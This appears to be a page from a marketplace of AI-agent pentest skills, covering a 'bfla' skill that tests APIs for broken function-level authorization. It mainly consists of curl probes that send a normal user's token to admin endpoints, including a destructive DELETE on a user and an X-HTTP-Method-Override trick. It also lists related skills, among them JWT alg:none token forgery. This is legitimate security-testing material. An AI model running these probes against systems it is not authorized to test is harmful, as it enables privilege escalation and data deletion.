Menü
检测 API 中的功能级授权破坏（BFLA），验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Basierend auf der SOC-Berufsklassifikation
通过被动来源和受控主动 DNS 枚举目标子域名，发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证，并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的对象级授权缺陷（BOLA/IDOR），通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证，伪造任意 Token 实现权限提升。
检测 API 中的批量赋值漏洞，通过在请求体中添加非预期字段修改不应被客户端控制的属性。
检测和绕过 API 速率限制，通过 HTTP 头操纵、路径变体和参数污染绕过节流控制。
| name | bfla |
| description | 检测 API 中的功能级授权破坏（BFLA），验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。 |
| category | api |
| source | xalgorix |
| tags | ["BFLA","API 安全","授权缺陷","OWASP API5:2023"] |
| required_tools | ["curl"] |
# 常见管理路径
for path in admin dashboard manage users config settings; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://<target>/api/$path" \
-H "Authorization: Bearer <user_token>")
[ "$code" != "404" ] && echo "$path: HTTP $code"
done
# 用普通用户 Token 访问管理端点
curl -s "https://<target>/api/admin/users" \
-H "Authorization: Bearer <user_token>"
# 尝试管理操作
curl -X DELETE "https://<target>/api/admin/users/123" \
-H "Authorization: Bearer <user_token>"
# 如果 GET 被限制，尝试其他方法
curl -X POST "https://<target>/api/users" \
-H "Authorization: Bearer <user_token>"
# 覆盖方法头
curl -X GET "https://<target>/api/users" \
-H "Authorization: Bearer <user_token>" \
-H "X-HTTP-Method-Override: DELETE"
# 旧版本可能没有正确授权
curl -s "https://<target>/api/v1/admin/users" \
-H "Authorization: Bearer <user_token>"
curl -s "https://<target>/api/internal/users" \
-H "Authorization: Bearer <user_token>"